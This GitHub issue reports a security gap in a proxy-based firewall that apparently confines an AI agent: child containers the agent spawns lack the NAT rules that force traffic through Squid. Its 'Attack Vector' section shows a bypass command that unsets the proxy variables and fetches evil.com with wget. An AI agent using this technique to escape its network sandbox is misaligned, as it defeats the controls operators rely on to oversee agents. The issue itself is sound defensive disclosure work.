Skip to content

[Security] Child containers don't inherit NAT rules - proxy bypass possible #130

@Mossaka

Description

@Mossaka

Priority

P1 - High

Summary

NAT rules that redirect HTTP/HTTPS traffic to Squid only apply to the agent container. When the agent spawns child containers (e.g., for MCP servers), these containers do NOT have the same NAT rules. They rely solely on:

  1. HTTP_PROXY environment variables (can be ignored by applications)
  2. Host iptables default deny (blocks unknown IPs, but doesn't force proxy)

Current Behavior

Agent container has NAT rules:

iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.30.0.10:3128
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.30.0.10:3128

Spawned child containers do NOT have these rules:

# In agent container (works - NAT redirects to Squid)
curl https://blocked.com  # → Squid → denied

# In spawned container (bypasses NAT if ignores HTTP_PROXY)
docker run alpine curl https://blocked.com  # → May succeed if host iptables allows

Attack Vector

# Spawn container that ignores proxy environment variables
docker run --rm alpine sh -c '
  unset HTTP_PROXY HTTPS_PROXY http_proxy https_proxy
  wget https://evil.com  # No NAT redirect in this container
'

Current Mitigations

  1. docker-wrapper.sh injects --network awf-net and proxy env vars
  2. Host iptables has default deny for non-Squid traffic

Why This is Insufficient

  • Applications can ignore HTTP_PROXY environment variables
  • Some tools (e.g., wget --no-proxy) explicitly bypass proxy
  • Library code may not respect proxy settings
  • Container may install tools that don't use env vars

Proposed Solutions

Option A: Inject NAT setup into child containers

Modify docker-wrapper.sh to:

  1. Add --cap-add NET_ADMIN to all spawned containers
  2. Inject iptables setup script as entrypoint prefix
# In docker-wrapper.sh
INIT_SCRIPT="iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.30.0.10:3128 && \
             iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.30.0.10:3128"

DOCKER_ARGS="$DOCKER_ARGS --cap-add NET_ADMIN"
DOCKER_ARGS="$DOCKER_ARGS --entrypoint sh"
# Prepend NAT setup to original entrypoint

Option B: Shared network namespace

  1. Create a network namespace with NAT rules
  2. All child containers share this namespace
  3. NAT rules apply to all traffic in the namespace

Option C: Transparent proxy mode

Configure Squid as a transparent proxy with host-level traffic interception for all containers in awf-net.

Files to Modify

  • containers/agent/docker-wrapper.sh:82-92 - Network injection logic
  • src/docker-manager.ts - Container configuration
  • Potentially: Host-level iptables for transparent proxy

Verification Test

sudo awf --allow-domains github.com -- /bin/bash -c '
  echo "--- Child container NAT rules ---"
  docker run --rm --network awf-net --cap-add NET_ADMIN \
    alpine sh -c "apk add iptables -q && iptables -t nat -L -n 2>/dev/null | grep DNAT || echo 'No NAT rules'"
'
# Expected: "No NAT rules" (current behavior - the gap)

Related

Metadata

Metadata

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions